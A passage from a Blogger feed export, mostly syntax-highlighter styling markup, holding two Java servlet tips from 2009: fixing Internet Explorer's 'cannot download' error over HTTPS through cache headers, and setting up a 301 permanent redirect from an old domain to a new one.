!important; outline-width: 0px !important; padding-bottom: 0px !important; padding-left: 0px !important; padding-right: 0px !important; padding-top: 0px !important; position: static !important; right: auto !important; text-align: left !important; top: auto !important; vertical-align: baseline !important; width: auto !important;"&gt;response.setHeader(&lt;/code&gt;&lt;code class="string" style="-webkit-background-clip: initial !important; -webkit-background-origin: initial !important; background-attachment: initial !important; background-color: initial !important; background-image: none !important; background-position: initial initial !important; background-repeat: initial !important; border-bottom-width: 0px !important; border-color: initial !important; border-left-width: 0px !important; border-right-width: 0px !important; border-style: initial !important; border-top-width: 0px !important; bottom: auto !important; color: blue !important; direction: ltr !important; float: none !important; font-family: Consolas, 'Bitstream Vera Sans Mono', 'Courier New', Courier, monospace !important; font-size: 1em !important; font-style: normal !important; font-weight: normal !important; height: auto !important; left: auto !important; line-height: 1.1em !important; margin-bottom: 0px !important; margin-left: 0px !important; margin-right: 0px !important; margin-top: 0px !important; min-height: inherit !important; outline-color: initial !important; outline-style: initial !important; outline-width: 0px !important; padding-bottom: 0px !important; padding-left: 0px !important; padding-right: 0px !important; padding-top: 0px !important; position: static !important; right: auto !important; text-align: left !important; top: auto !important; vertical-align: baseline !important; width: auto !important;"&gt;"Cache-control"&lt;/code&gt;&lt;code class="plain" style="-webkit-background-clip: initial !important; -webkit-background-origin: initial !important; background-attachment: initial !important; background-color: initial !important; background-image: none !important; background-position: initial initial !important; background-repeat: initial !important; border-bottom-width: 0px !important; border-color: initial !important; border-left-width: 0px !important; border-right-width: 0px !important; border-style: initial !important; border-top-width: 0px !important; bottom: auto !important; color: rgb(0, 0, 0) !important; direction: ltr !important; float: none !important; font-family: Consolas, 'Bitstream Vera Sans Mono', 'Courier New', Courier, monospace !important; font-size: 1em !important; font-style: normal !important; font-weight: normal !important; height: auto !important; left: auto !important; line-height: 1.1em !important; margin-bottom: 0px !important; margin-left: 0px !important; margin-right: 0px !important; margin-top: 0px !important; min-height: inherit !important; outline-color: initial !important; outline-style: initial !important; outline-width: 0px !important; padding-bottom: 0px !important; padding-left: 0px !important; padding-right: 0px !important; padding-top: 0px !important; position: static !important; right: auto !important; text-align: left !important; top: auto !important; vertical-align: baseline !important; width: auto !important;"&gt;,&amp;nbsp;&lt;/code&gt;&lt;code class="string" style="-webkit-background-clip: initial !important; -webkit-background-origin: initial !important; background-attachment: initial !important; background-color: initial !important; background-image: none !important; background-position: initial initial !important; background-repeat: initial !important; border-bottom-width: 0px !important; border-color: initial !important; border-left-width: 0px !important; border-right-width: 0px !important; border-style: initial !important; border-top-width: 0px !important; bottom: auto !important; color: blue !important; direction: ltr !important; float: none !important; font-family: Consolas, 'Bitstream Vera Sans Mono', 'Courier New', Courier, monospace !important; font-size: 1em !important; font-style: normal !important; font-weight: normal !important; height: auto !important; left: auto !important; line-height: 1.1em !important; margin-bottom: 0px !important; margin-left: 0px !important; margin-right: 0px !important; margin-top: 0px !important; min-height: inherit !important; outline-color: initial !important; outline-style: initial !important; outline-width: 0px !important; padding-bottom: 0px !important; padding-left: 0px !important; padding-right: 0px !important; padding-top: 0px !important; position: static !important; right: auto !important; text-align: left !important; top: auto !important; vertical-align: baseline !important; width: auto !important;"&gt;"max-age=30"&lt;/code&gt;&lt;code class="plain" style="-webkit-background-clip: initial !important; -webkit-background-origin: initial !important; background-attachment: initial !important; background-color: initial !important; background-image: none !important; background-position: initial initial !important; background-repeat: initial !important; border-bottom-width: 0px !important; border-color: initial !important; border-left-width: 0px !important; border-right-width: 0px !important; border-style: initial !important; border-top-width: 0px !important; bottom: auto !important; color: rgb(0, 0, 0) !important; direction: ltr !important; float: none !important; font-family: Consolas, 'Bitstream Vera Sans Mono', 'Courier New', Courier, monospace !important; font-size: 1em !important; font-style: normal !important; font-weight: normal !important; height: auto !important; left: auto !important; line-height: 1.1em !important; margin-bottom: 0px !important; margin-left: 0px !important; margin-right: 0px !important; margin-top: 0px !important; min-height: inherit !important; outline-color: initial !important; outline-style: initial !important; outline-width: 0px !important; padding-bottom: 0px !important; padding-left: 0px !important; padding-right: 0px !important; padding-top: 0px !important; position: static !important; right: auto !important; text-align: left !important; top: auto !important; vertical-align: baseline !important; width: auto !important;"&gt;);&lt;/code&gt;&lt;/td&gt;&lt;/tr&gt;&lt;/tbody&gt;&lt;/table&gt;&lt;/div&gt;&lt;div class="line alt1" style="-webkit-background-clip: initial !important; -webkit-background-origin: initial !important; background-attachment: initial !important; background-color: rgb(255, 255, 255) !important; background-image: none !important; background-position: initial initial !important; background-repeat: initial !important; border-bottom-width: 0px !important; border-color: initial !important; border-left-width: 0px !important; border-right-width: 0px !important; border-style: initial !important; border-top-width: 0px !important; bottom: auto !important; direction: ltr !important; float: none !important; font-family: Consolas, 'Bitstream Vera Sans Mono', 'Courier New', Courier, monospace !important; font-size: 1em !important; font-style: normal !important; font-weight: normal !important; height: auto !important; left: auto !important; line-height: 1.1em !important; margin-bottom: 0px !important; margin-left: 0px !important; margin-right: 0px !important; margin-top: 0px !important; min-height: inherit !important; outline-color: initial !important; outline-style: initial !important; outline-width: 0px !important; padding-bottom: 0px !important; padding-left: 0px !important; padding-right: 0px !important; padding-top: 0px !important; position: static !important; right: auto !important; text-align: left !important; top: auto !important; vertical-align: baseline !important; width: auto !important;"&gt;&lt;table style="-webkit-background-clip: initial; -webkit-background-origin: initial; background-attachment: initial; background-color: white; background-image: initial; background-position: initial initial; background-repeat: initial; border-bottom-color: rgb(204, 204, 204); border-bottom-style: solid; border-bottom-width: 2px; border-collapse: collapse !important; border-color: initial !important; border-left-color: rgb(204, 204, 204); border-left-style: solid; border-left-width: 2px; border-right-color: rgb(204, 204, 204); border-right-style: solid; border-right-width: 2px; border-style: initial !important; border-top-color: rgb(204, 204, 204); border-top-style: solid; border-top-width: 2px; bottom: auto !important; direction: ltr !important; float: none !important; font-family: Consolas, 'Bitstream Vera Sans Mono', 'Courier New', Courier, monospace !important; font-size: 1em !important; font-style: normal !important; font-weight: normal !important; height: auto !important; left: auto !important; line-height: 1.1em !important; margin-bottom: 10px; margin-left: 0px; margin-right: 0px; margin-top: 5px; min-height: inherit !important; outline-color: initial !important; outline-style: initial !important; outline-width: 0px !important; padding-bottom: 0px !important; padding-left: 0px !important; padding-right: 0px !important; padding-top: 0px !important; position: static !important; right: auto !important; text-align: left !important; top: auto !important; vertical-align: baseline !important; width: auto !important;"&gt;&lt;tbody style="-webkit-background-clip: initial !important; -webkit-background-origin: initial !important; background-attachment: initial !important; background-color: initial !important; background-image: none !important; background-position: initial initial !important; background-repeat: initial !important; border-bottom-width: 0px !important; border-color: initial !important; border-left-width: 0px !important; border-right-width: 0px !important; border-style: initial !important; border-top-width: 0px !important; bottom: auto !important; direction: ltr !important; float: none !important; font-family: Consolas, 'Bitstream Vera Sans Mono', 'Courier New', Courier, monospace !important; font-size: 1em !important; font-style: normal !important; font-weight: normal !important; height: auto !important; left: auto !important; line-height: 1.1em !important; margin-bottom: 0px !important; margin-left: 0px !important; margin-right: 0px !important; margin-top: 0px !important; min-height: inherit !important; outline-color: initial !important; outline-style: initial !important; outline-width: 0px !important; padding-bottom: 0px !important; padding-left: 0px !important; padding-right: 0px !important; padding-top: 0px !important; position: static !important; right: auto !important; text-align: left !important; top: auto !important; vertical-align: baseline !important; width: auto !important;"&gt;&lt;tr style="-webkit-background-clip: initial !important; -webkit-background-origin: initial !important; background-attachment: initial !important; background-color: initial !important; background-image: none !important; background-position: initial initial !important; background-repeat: initial !important; border-bottom-width: 0px !important; border-color: initial !important; border-left-width: 0px !important; border-right-width: 0px !important; border-style: initial !important; border-top-width: 0px !important; bottom: auto !important; direction: ltr !important; float: none !important; font-family: Consolas, 'Bitstream Vera Sans Mono', 'Courier New', Courier, monospace !important; font-size: 1em !important; font-style: normal !important; font-weight: normal !important; height: auto !important; left: auto !important; line-height: 1.1em !important; margin-bottom: 0px !important; margin-left: 0px !important; margin-right: 0px !important; margin-top: 0px !important; min-height: inherit !important; outline-color: initial !important; outline-style: initial !important; outline-width: 0px !important; padding-bottom: 0px !important; padding-left: 0px !important; padding-right: 0px !important; padding-top: 0px !important; position: static !important; right: auto !important; text-align: left !important; top: auto !important; vertical-align: baseline !important; width: auto !important;"&gt;&lt;td class="number" style="-webkit-background-clip: initial !important; -webkit-background-origin: initial !important; background-attachment: initial !important; background-color: initial !important; background-image: none !important; background-position: initial initial !important; background-repeat: initial !important; border-bottom-color: rgb(204, 204, 204); border-bottom-style: solid; border-bottom-width: 1px; border-color: initial !important; border-left-color: rgb(204, 204, 204); border-left-style: solid; border-left-width: 1px; border-right-color: rgb(204, 204, 204); border-right-style: solid; border-right-width: 1px; border-style: initial !important; border-top-color: rgb(204, 204, 204); border-top-style: solid; border-top-width: 1px; bottom: auto !important; color: rgb(175, 175, 175) !important; direction: ltr !important; float: none !important; font-family: Consolas, 'Bitstream Vera Sans Mono', 'Courier New', Courier, monospace !important; font-size: 1em !important; font-style: normal !important; font-weight: normal !important; height: auto !important; left: auto !important; line-height: 1.1em !important; margin-bottom: 0px !important; margin-left: 0px !important; margin-right: 0px !important; margin-top: 0px !important; min-height: inherit !important; outline-color: initial !important; outline-style: initial !important; outline-width: 0px !important; padding-bottom: 3px; padding-left: 10px; padding-right: 10px; padding-top: 3px; position: static !important; right: auto !important; text-align: left; top: auto !important; vertical-align: top !important; width: 3em !important;"&gt;&lt;code style="-webkit-background-clip: initial !important; -webkit-background-origin: initial !important; background-attachment: initial !important; background-color: initial !important; background-image: none !important; background-position: initial initial !important; background-repeat: initial !important; border-bottom-width: 0px !important; border-color: initial !important; border-left-width: 0px !important; border-right-width: 0px !important; border-style: initial !important; border-top-width: 0px !important; bottom: auto !important; direction: ltr !important; display: block !important; float: none !important; font-family: Consolas, 'Bitstream Vera Sans Mono', 'Courier New', Courier, monospace !important; font-size: 1em !important; font-style: normal !important; font-weight: normal !important; height: auto !important; left: auto !important; line-height: 1.1em !important; margin-bottom: 0px !important; margin-left: 0px !important; margin-right: 0px !important; margin-top: 0px !important; min-height: inherit !important; outline-color: initial !important; outline-style: initial !important; outline-width: 0px !important; padding-bottom: 0px !important; padding-left: 0px !important; padding-right: 0.3em !important; padding-top: 0px !important; position: static !important; right: auto !important; text-align: right !important; top: auto !important; vertical-align: baseline !important; width: 2.7em !important;"&gt;9&lt;/code&gt;&lt;/td&gt;&lt;td class="content" style="-webkit-background-clip: initial !important; -webkit-background-origin: initial !important; background-attachment: initial !important; background-color: initial !important; background-image: none !important; background-position: initial initial !important; background-repeat: initial !important; border-bottom-color: rgb(204, 204, 204); border-bottom-style: solid; border-bottom-width: 1px; border-color: initial !important; border-left-color: rgb(108, 226, 108) !important; border-left-style: solid !important; border-left-width: 3px !important; border-right-color: rgb(204, 204, 204); border-right-style: solid; border-right-width: 1px; border-style: initial !important; border-top-color: rgb(204, 204, 204); border-top-style: solid; border-top-width: 1px; bottom: auto !important; color: rgb(0, 0, 0) !important; direction: ltr !important; float: none !important; font-family: Consolas, 'Bitstream Vera Sans Mono', 'Courier New', Courier, monospace !important; font-size: 1em !important; font-style: normal !important; font-weight: normal !important; height: auto !important; left: auto !important; line-height: 13px; margin-bottom: 0px !important; margin-left: 0px !important; margin-right: 0px !important; margin-top: 0px !important; min-height: inherit !important; outline-color: initial !important; outline-style: initial !important; outline-width: 0px !important; overflow-x: hidden; overflow-y: hidden; padding-bottom: 3px; padding-left: 0.5em !important; padding-right: 10px; padding-top: 3px; position: static !important; right: auto !important; text-align: left; top: auto !important; vertical-align: top !important; width: auto !important;"&gt;&lt;code class="comments" style="-webkit-background-clip: initial; -webkit-background-origin: initial; background-attachment: initial; background-color: initial; background-image: url(http://www.karthikeyanc.com/blog/wp-content/themes/inove/img/icons.gif); background-position: 0px -96px; background-repeat: no-repeat; border-bottom-width: 0px !important; border-color: initial !important; border-left-width: 0px !important; border-right-width: 0px !important; border-style: initial !important; border-top-width: 0px !important; bottom: auto !important; color: rgb(0, 130, 0) !important; direction: ltr !important; display: block; float: right; font-family: Consolas, 'Bitstream Vera Sans Mono', 'Courier New', Courier, monospace !important; font-size: 11px; font-style: normal !important; font-weight: normal !important; height: 16px; left: auto !important; line-height: 16px; margin-bottom: 0px !important; margin-left: 0px !important; margin-right: 0px !important; margin-top: 0px !important; min-height: inherit !important; outline-color: initial !important; outline-style: initial !important; outline-width: 0px !important; padding-bottom: 0px !important; padding-left: 22px; padding-right: 0px !important; padding-top: 0px !important; position: static !important; right: auto !important; text-align: left !important; top: auto !important; vertical-align: baseline !important; width: auto !important;"&gt;//The logic to write into the OutputStream goes here.&lt;/code&gt;&lt;/td&gt;&lt;/tr&gt;&lt;/tbody&gt;&lt;/table&gt;&lt;/div&gt;&lt;/div&gt;&lt;/div&gt;&lt;div style="margin-bottom: 10px; margin-left: 0px; margin-right: 0px; margin-top: 0px; padding-bottom: 0px; padding-left: 0px; padding-right: 0px; padding-top: 0px;"&gt;&lt;strong&gt;Note: The reset of HttpServletResponse is very important.&lt;/strong&gt;&lt;br /&gt;&lt;/div&gt;&lt;div style="margin-bottom: 10px; margin-left: 0px; margin-right: 0px; margin-top: 0px; padding-bottom: 0px; padding-left: 0px; padding-right: 0px; padding-top: 0px;"&gt;Following are to be ensured on the browser (client).&lt;strong&gt;&lt;br /&gt;&lt;/strong&gt;&lt;br /&gt;&lt;/div&gt;&lt;div style="margin-bottom: 10px; margin-left: 0px; margin-right: 0px; margin-top: 0px; padding-bottom: 0px; padding-left: 0px; padding-right: 0px; padding-top: 0px;"&gt;1. Ensure Do not save encrypted pages to disk check box is not selected in Internet Explorer.&lt;br /&gt;&lt;/div&gt;&lt;div style="margin-bottom: 10px; margin-left: 0px; margin-right: 0px; margin-top: 0px; padding-bottom: 0px; padding-left: 0px; padding-right: 0px; padding-top: 0px;"&gt;2.&amp;nbsp; Incase of IE 7, ensure the automatic prompting for downloads is enabled&lt;br /&gt;under Tools–&amp;gt;Internet Options–&amp;gt;Custom Level –&amp;gt; Downloads.&lt;br /&gt;&lt;/div&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/5435275999753254489-195603739354596428?l=ujjwalbsoni.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://ujjwalbsoni.blogspot.com/feeds/195603739354596428/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=5435275999753254489&amp;postID=195603739354596428' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/5435275999753254489/posts/default/195603739354596428'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/5435275999753254489/posts/default/195603739354596428'/><link rel='alternate' type='text/html' href='http://ujjwalbsoni.blogspot.com/2009/12/internet-explorer-cannot-download-error.html' title='“Internet Explorer Cannot Download” Error Message When You Use HTTPS URL'/><author><name>Ujjwal Soni</name><uri>http://www.blogger.com/profile/05114450573216313353</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='http://img2.blogblog.com/img/b16-rounded.gif'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-5435275999753254489.post-98419689675272865</id><published>2009-12-31T10:01:00.000-08:00</published><updated>2009-12-31T10:01:03.149-08:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='Redirecting permanently in HttpServlet from your old domain (website) to new domain'/><title type='text'>Redirecting permanently in HttpServlet from your old domain (website) to new domain</title><content type='html'>&lt;span class="Apple-style-span" style="color: #555555; font-family: Verdana, 'BitStream vera Sans', Tahoma, Helvetica, sans-serif; font-size: 12px; line-height: 17px;"&gt;&lt;/span&gt;&lt;br /&gt;&lt;div style="margin-bottom: 10px; margin-left: 0px; margin-right: 0px; margin-top: 0px; padding-bottom: 0px; padding-left: 0px; padding-right: 0px; padding-top: 0px;"&gt;Let us assume we face a scenario where we move from a old domain (website) to a new domain (website). You may do this when you expand your business offering and the old name may not be appropriate.&lt;br /&gt;&lt;/div&gt;&lt;div style="margin-bottom: 10px; margin-left: 0px; margin-right: 0px; margin-top: 0px; padding-bottom: 0px; padding-left: 0px; padding-right: 0px; padding-top: 0px;"&gt;But your old domain has gained reputation (like a good page rank and a number of incoming links) which you wish to carry forward to your new domain. One way of doing this is respond with HTTP code 301 which is permanently moved.&lt;br /&gt;&lt;/div&gt;&lt;div style="margin-bottom: 10px; margin-left: 0px; margin-right: 0px; margin-top: 0px; padding-bottom: 0px; padding-left: 0px; padding-right: 0px; padding-top: 0px;"&gt;You may also make use of use Google web master tools to inform the change in domain address (as Google is currently the #1 search engine ). This will prevent the decrease in hits to your website from search engines.&lt;br /&gt;&lt;/div&gt;&lt;div style="margin-bottom: 10px; margin-left: 0px; margin-right: 0px; margin-top: 0px; padding-bottom: 0px; padding-left: 0px; padding-right: 0px; padding-top: 0px;"&gt;The below code shows how to implement it if you host a Java web application for your old domain.&lt;br /&gt;&lt;/div&gt;&lt;div style="margin-bottom: 10px; margin-left: 0px; margin-right: 0px; margin-top: 0px; padding-bottom: 0px; padding-left: 0px; padding-right: 0px; padding-top: 0px;"&gt;In web.xml make the below entry.&lt;br /&gt;&lt;/div&gt;&lt;div class="syntaxhighlighter  " id="highlighter_95522" style="-webkit-background-clip: initial !important; -webkit-background-origin: initial !important; background-attachment: initial !important; background-color: rgb(255, 255, 255) !important; background-image: none !important; background-position: initial initial !important; background-repeat: initial !important; border-bottom-width: 0px !important; border-color: initial !important; border-left-width: 0px !important; border-right-width: 0px !important; border-style: initial !important; border-top-width: 0px !important; bottom: auto !important; direction: ltr !important; float: none !important; font-family: Consolas, 'Bitstream Vera Sans Mono', 'Courier New', Courier, monospace !important; font-size: 1em !important; font-style: normal !important; font-weight: normal !important; height: auto !important; left: auto !important; line-height: 1.1em !important; margin-bottom: 1em !important; margin-left: 0px !important; margin-right: 0px !important; margin-top: 1em !important; min-height: inherit !important; outline-color: initial !important; outline-style: initial !important; outline-width: 0px !important; padding-bottom: 1px !important; padding-left: 1px !important; padding-right: 1px !important; padding-top: 1px !important; position: relative !important; right: auto !important; text-align: left !important; top: auto !important; vertical-align: baseline !important; width: 594px;"&gt;&lt;div class="lines" style="-webkit-background-clip: initial !important; -webkit-background-origin: initial !important; background-attachment: initial !important; background-color: initial !important; background-image: none !important; background-position: initial initial !important; background-repeat: initial !important; border-bottom-width: 0px !important; border-color: initial !important; border-left-width: 0px !important; border-right-width: 0px !important; border-style: initial !important; border-top-width: 0px !important; bottom: auto !important; direction: ltr !important; float: none !important; font-family: Consolas, 'Bitstream Vera Sans Mono', 'Courier New', Courier, monospace !important; font-size: 1em !important; font-style: normal !important; font-weight: normal !important; height: auto !important; left: auto !important; line-height: 1.1em !important; margin-bottom: 0px !important; margin-left: 0px !important; margin-right: 0px !important; margin-top: 0px !important; min-height: inherit !important; outline-color: initial !important; outline-style: initial !important; outline-width: 0px !important; padding-bottom: 0px !important; padding-left: 0px !important; padding-right: 0px !important; padding-top: 0px !important; position: static !important; right: auto !important; text-align: left !important; top: auto !important; vertical-align: baseline !important; width: auto !important;"&gt;&lt;div class="line alt1" style="-webkit-background-clip: initial !important; -webkit-background-origin: initial !important; background-attachment: initial !important; background-color: rgb(255, 255, 255) !important; background-image: none !important; background-position: initial initial !important; background-repeat: initial !important; border-bottom-width: 0px !important; border-color: initial !important; border-left-width: 0px !important; border-right-width: 0px !important; border-style: initial !important; border-top-width: 0px !important; bottom: auto !important; direction: ltr !important; float: none !important; font-family: Consolas, 'Bitstream Vera Sans Mono', 'Courier New', Courier, monospace !important; font-size: 1em !important; font-style: normal !important; font-weight: normal !important; height: auto !important; left: auto !important; line-height: 1.1em !important; margin-bottom: 0px !important; margin-left: 0px !important; margin-right: 0px !important; margin-top: 0px !important; min-height: inherit !important; outline-color: initial !important; outline-style: initial !important; outline-width: 0px !important; padding-bottom: 0px !important; padding-left: 0px !important; padding-right: 0px !important; padding-top: 0px !important; position: static !important; right: auto !important; text-align: left !important; top: auto !important; vertical-align: baseline !important; width: auto !important;"&gt;&lt;table style="-webkit-background-clip: initial; -webkit-background-origin: initial; background-attachment: initial; background-color: white; background-image: initial; background-position: initial initial; background-repeat: initial; border-bottom-color: rgb(204, 204, 204); border-bottom-style: solid; border-bottom-width: 2px; border-collapse: collapse !important; border-color: initial !important; border-left-color: rgb(204, 204, 204); border-left-style: solid; border-left-width: 2px; border-right-color: rgb(204, 204, 204); border-right-style: solid; border-right-width: 2px; border-style: initial !important; border-top-color: rgb(204, 204, 204); border-top-style: solid; border-top-width: 2px; bottom: auto !important; direction: ltr !important; float: none !important; font-family: Consolas, 'Bitstream Vera Sans Mono', 'Courier New', Courier, monospace !important; font-size: 1em !important; font-style: normal !important; font-weight: normal !important; height: auto !important; left: auto !important; line-height: 1.1em !important; margin-bottom: 10px; margin-left: 0px; margin-right: 0px; margin-top: 5px; min-height: inherit !important; outline-color: initial !important; outline-style: initial !important; outline-width: 0px !important; padding-bottom: 0px !important; padding-left: 0px !important; padding-right: 0px !important; padding-top: 0px !important; position: static !important; right: auto !important; text-align: left !important; top: auto !important; vertical-align: baseline !important; width: auto !important;"&gt;&lt;tbody style="-webkit-background-clip: initial !important; -webkit-background-origin: initial !important; background-attachment: initial !important; background-color: initial !important; background-image: none !important; background-position: initial initial !important; background-repeat: initial !important; border-bottom-width: 0px !important; border-color: initial !important; border-left-width: 0px !important; border-right-width: 0px !important; border-style: initial !important; border-top-width: 0px !important; bottom: auto !important; direction: ltr !important; float: none !important; font-family: Consolas, 'Bitstream Vera Sans Mono', 'Courier New', Courier, monospace !important; font-size: 1em !important; font-style: normal !important; font-weight: normal !important; height: auto !important; left: auto !important; line-height: 1.1em !important; margin-bottom: 0px !important; margin-left: 0px !important; margin-right: 0px !important; margin-top: 0px !important; min-height: inherit !important; outline-color: initial !important; outline-style: initial !important; outline-width: 0px !important; padding-bottom: 0px !important; padding-left: 0px !important; padding-right: 0px !important; padding-top: 0px !important; position: static !important; right: auto !important; text-align: left !important; top: auto !important; vertical-align: baseline !important; width: auto !important;"&gt;&lt;tr style="-webkit-background-clip: initial !important; -webkit-background-origin: initial !important; background-attachment: initial !important; background-color: initial !important; background-image: none !important; background-position: initial initial !important; background-repeat: initial !important; border-bottom-width: 0px !important; border-color: initial !important; border-left-width: 0px !important; border-right-width: 0px !important; border-style: initial !important; border-top-width: 0px !important; bottom: auto !important; direction: ltr !important; float: none !important; font-family: Consolas, 'Bitstream Vera Sans Mono', 'Courier New', Courier, monospace !important; font-size: 1em !important; font-style: normal !important; font-weight: normal !important; height: auto !important; left: auto !important; line-height: 1.1em !important; margin-bottom: 0px !important; margin-left: 0px !important; margin-right: 0px !important; margin-top: 0px !important; min-height: inherit !important; outline-color: initial !important; outline-style: initial !important; outline-width: 0px !important; padding-bottom: 0px !important; padding-left: 0px !important; padding-right: 0px !important; padding-top: 0px !important; position: static !important; right: auto !important; text-align: left !important; top: auto !important; vertical-align: baseline !important; width: auto !important;"&gt;&lt;td class="number" style="-webkit-background-clip: initial !important; -webkit-background-origin: initial !important; background-attachment: initial !important; background-color: initial !important; background-image: none !important; background-position: initial initial !important; background-repeat: initial !important; border-bottom-color: rgb(204, 204, 204); border-bottom-style: solid; border-bottom-width: 1px; border-color: initial !important; border-left-color: rgb(204, 204, 204); border-left-style: solid; border-left-width: 1px; border-right-color: rgb(204, 204, 204); border-right-style: solid; border-right-width: 1px; border-style: initial !important; border-top-color: rgb(204, 204, 204); border-top-style: solid; border-top-width: 1px; bottom: auto !important; color: rgb(175, 175, 175) !important; direction: ltr !important; float: none !important; font-family: Consolas, 'Bitstream Vera Sans Mono', 'Courier New', Courier, monospace !important; font-size: 1em !important; font-style: normal !important; font-weight: normal !important; height: auto !important; left: auto !important; line-height: 1.1em !important; margin-bottom: 0px !important; margin-left: 0px !important; margin-right: 0px !important; margin-top: 0px !important; min-height: inherit !important; outline-color: initial !important; outline-style: initial !important; outline-width: 0px !important; padding-bottom: 3px; padding-left: 10px; padding-right: 10px; padding-top: 3px; position: static !important; right: auto !important; text-align: left; top: auto !important; vertical-align: top !important; width: 3em !important;"&gt;&lt;code style="-webkit-background-clip: initial !important; -webkit-background-origin: initial !important; background-attachment: initial !important; background-color: initial !important; background-image: none !important; background-position: initial initial !important; background-repeat: initial !important; border-bottom-width: 0px !important; border-color: initial !important; border-left-width: 0px !important; border-right-width: 0px !important; border-style: initial !important; border-top-width: 0px !important; bottom: auto !important; direction: ltr !important; display: block !important; float: none !important; font-family: Consolas, 'Bitstream Vera Sans Mono', 'Courier New', Courier, monospace !important; font-size: 1em !important; font-style: normal !important; font-weight: normal !important; height: auto !important; left: auto !important; line-height: 1.1em !important; margin-bottom: 0px !important; margin-left: 0px !important; margin-right: 0px !important; margin-top: 0px !important; min-height: inherit !important; outline-color: initial !important; outline-style: initial !important; outline-width: 0px !important; padding-bottom: 0px !important; padding-left: 0px !important; padding-right: 0.3em !important; padding-top: 0px !important; position: static !important; right: auto !important; text-align: right !important; top: auto !important; vertical-align: baseline !important; width: 2.7em !important;"&gt;01&lt;/code&gt;&lt;/td&gt;&lt;td class="content" style="-webkit-background-clip: initial !important; -webkit-background-origin: initial !important; background-attachment: initial !important; background-color: initial !important; background-image: none !important; background-position: initial initial !important; background-repeat: initial !important; border-bottom-color: rgb(204, 204, 204); border-bottom-style: solid; border-bottom-width: 1px; border-color: initial !important; border-left-color: rgb(108, 226, 108) !important; border-left-style: solid !important; border-left-width: 3px !important; border-right-color: rgb(204, 204, 204); border-right-style: solid; border-right-width: 1px; border-style: initial !important; border-top-color: rgb(204, 204, 204); border-top-style: solid; border-top-width: 1px; bottom: auto !important; color: rgb(0, 0, 0) !important; direction: ltr !important; float: none !important; font-family: Consolas, 'Bitstream Vera Sans Mono', 'Courier New', Courier, monospace !important; font-size: 1em !important; font-style: normal !important; font-weight: normal !important; height: auto !important; left: auto !important; line-height: 13px; margin-bottom: 0px !important; margin-left: 0px !important; margin-right: 0px !important; margin-top: 0px !important; min-height: inherit !important; outline-color: initial !important; outline-style: initial !important; outline-width: 0px !important; overflow-x: hidden; overflow-y: hidden; padding-bottom: 3px; padding-left: 0.5em !important; padding-right: 10px; padding-top: 3px; position: static !important; right: auto !important; text-align: left; top: auto !important; vertical-align: top !important; width: auto !important;"&gt;&lt;code class="plain" style="-webkit-background-clip: initial !important; -webkit-background-origin: initial !important; background-attachment: initial !important; background-color: initial !important; background-image: none !important; background-position: initial initial !important; background-repeat: initial !important; border-bottom-width: 0px !important; border-color: initial !important; border-left-width: 0px !important; border-right-width: 0px !important; border-style: initial !important; border-top-width: 0px !important; bottom: auto !important; color: rgb(0, 0, 0) !important; direction: ltr !important; float: none !important; font-family: Consolas, 'Bitstream Vera Sans Mono', 'Courier New', Courier, monospace !important; font-size: 1em !important; font-style: normal !important; font-weight: normal !important; height: auto !important; left: auto !important; line-height: 1.1em !important; margin-bottom: 0px !important; margin-left: 0px !important; margin-right: 0px !important; margin-top: 0px !important; min-height: inherit !important; outline-color: initial !important; outline-style: initial !important; outline-width: 0px !important; padding-bottom: 0px !important; padding-left: 0px !important; padding-right: 0px !important; padding-top: 0px !important; position: static !important; right: auto !important; text-align: left !important; top: auto !important; vertical-align: baseline !important; width: auto !important;"&gt;&lt;code class="keyword" style="-webkit-background-clip: initial !important; -webkit-background-origin: initial !important; background-attachment: initial !important; background-color: initial !important; background-image: none !important; background-position: initial initial !important; background-repeat: initial !important; border-bottom-width: 0px !important; border-color: initial !important; border-left-width: 0px !important; border-right-width: 0px !important; border-style: initial !important; border-top-width: 0px !important; bottom: auto !important; color: rgb(0, 102, 153) !important; direction: ltr !important; float: none !important; font-family: Consolas, 'Bitstream Vera Sans Mono', 'Courier New', Courier, monospace !important; font-size: 1em !important; font-style: normal !important; font-weight: bold !important; height: auto !important; left: auto !important; line-height: 1.1em !important; margin-bottom: 0px !important; margin-left: 0px !important; margin-right: 0px !important; margin-top: 0px !important; min-height: inherit !important; outline-color: initial !important; outline-style: initial !important; outline-width: 0px !important; padding-bottom: 0px !important; padding-left: 0px !important; padding-right: 0px !important; padding-top: 0px !important; position: static !important; right: auto !important; text-align: left !important; top: auto !important; vertical-align: baseline !important; width: auto !important;"&gt;xml&lt;/code&gt;&amp;nbsp;&lt;code class="color1" style="-webkit-background-clip: initial !important; -webkit-background-origin: initial !important; background-attachment: initial !important; background-color: initial !important; background-image: none !important; background-position: initial initial !important; background-repeat: initial !important; border-bottom-width: 0px !important; border-color: initial !important; border-left-width: 0px !important; border-right-width: 0px !important; border-style: initial !important; border-top-width: 0px !important; bottom: auto !important; color: rgb(128, 128, 128) !important; direction: ltr !important; float: none !important; font-family: Consolas, 'Bitstream Vera Sans Mono', 'Courier New', Courier, monospace !important; font-size: 1em !important; font-style: normal !important; font-weight: normal !important; height: auto !important; left: auto !important; line-height: 1.1em !important; margin-bottom: 0px !important; margin-left: 0px !important; margin-right: 0px !important; margin-top: 0px !important; min-height: inherit !important; outline-color: initial !important; outline-style: initial !important; outline-width: 0px !important; padding-bottom: 0px !important; padding-left: 0px !important; padding-right: 0px !important; padding-top: 0px !important; position: static !important; right: auto !important; text-align: left !important; top: auto !important; vertical-align: baseline !important; width: auto !important;"&gt;version&lt;/code&gt;&lt;code class="plain" style="-webkit-background-clip: initial !important; -webkit-background-origin: initial !important; background-attachment: initial !important; background-color: initial !important; background-image: none !important; background-position: initial initial !important; background-repeat: initial !important; border-bottom-width: 0px !important; border-color: initial !important; border-left-width: 0px !important; border-right-width: 0px !important; border-style: initial !important; border-top-width: 0px !important; bottom: auto !important; color: rgb(0, 0, 0) !important; direction: ltr !important; float: none !important; font-family: Consolas, 'Bitstream Vera Sans Mono', 'Courier New', Courier, monospace !important; font-size: 1em !important; 